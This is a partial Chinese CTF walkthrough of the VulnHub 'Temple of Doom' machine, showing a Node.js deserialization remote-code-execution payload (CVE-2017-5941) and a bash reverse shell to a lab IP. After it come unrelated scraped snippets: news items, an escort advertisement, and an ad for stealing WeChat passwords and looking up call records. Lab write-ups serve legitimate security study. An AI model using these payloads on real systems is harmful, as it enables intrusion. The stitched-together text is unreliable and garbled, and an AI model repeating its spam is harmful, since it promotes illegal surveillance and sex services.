靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/
靶机难度:中级(CTF)
靶机发布日期:2018年6月8日
靶机描述:
由https://twitter.com/0katz创建的CTF
]难度:简单/中级
在VirtualBox中测试
注意:2种扎根 ***
目标:得到root权限&找到flag.txt
作者:DXR嗯嗯呐
nmap扫描IP
nmap端口扫描
22 ssh
666 Express 是一个保持最小规模的灵活的 Node.js Web 应用程序开发框架,为 Web 和移动应用程序提供一组强大的功能。
访问80端口
没有获得有用的信息,使用dirb,nikto扫描,结果也没发现什么
不知道怎么办了,使用burpsuite抓一下包看看吧
看到了cookie的值可能是一个base64编码
界面获得一个json字符串感觉格式不完整,修改一下
解码后
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D
修改后
重新编码提交,获得一个界面
加上cookie使用dirb扫描依然失败,看了看老人们的,发现这里是考Node.js反序列化远程代码执行(CVE-2017-5941)这个漏洞
大佬写的很具体
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)}); }()"}
编译后
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGU *** 3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQo=
获得用户名 nodeadmin
直接使用bash获得反弹shell
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.56.3/5555 0>&1',(error,stdout,stderr)=>{console.log(stdout)}); }()"}
微博新浪“身体和灵魂,总有一个要在路上”是多少人的人生信条,而旅行可以同时让身体和灵魂一同抵达远方。然则,跟团游的诸多不便和自由行的奔忙劳累让不少人对出门旅行犹豫不决,越来越in的开房车去旅行才是真正...
中新网贵阳12月28日电 (记者 张伟)截至目前,贵州省扫黑除恶专项斗争领导小组办公室挂牌督办的44起案件中,已办结41起,尚在侦查阶段2起、审判阶段1起。 记者28日从贵州省人民政府新闻办...
iPad Pro总算来啦,也产生了iPhone的服务承诺和期望。在这里款机器设备的身上,其A9X处理芯片毫无疑问是最引人注意的特点之一,因为它为一部平板电脑产生了桌面上级的CPU。从前期的显卡跑分看来...
那年我们都还年轻的时刻,最热门的网络游戏就是“热血传奇”了,这几年又由于渣渣辉的是兄弟就来砍我等魔性广告语,让许多晚辈感伤,原来你们以前玩的游戏这么土......现在一个叫“3C游戏”的平台又搞起来传...
上海市高档模特经纪人,女模飞双(20岁)如何预约,上海市是一座成功者的集中地,对商业服务女学妹的要求也是较为大的,今日如果女学妹共享女学妹飞双,年纪21,身高185的高档兼职模特手机微信找寻方式 ,关...
10086通话记录查询清单(手机通话记录保留多久)专业盗取微信密码,开房查询,通话记录查询,查询微信聊天记录,非常靠谱!通常我们用微信聊天,其实还有很多实用的小功能,比如普通的翻译功能,除了一些手机带...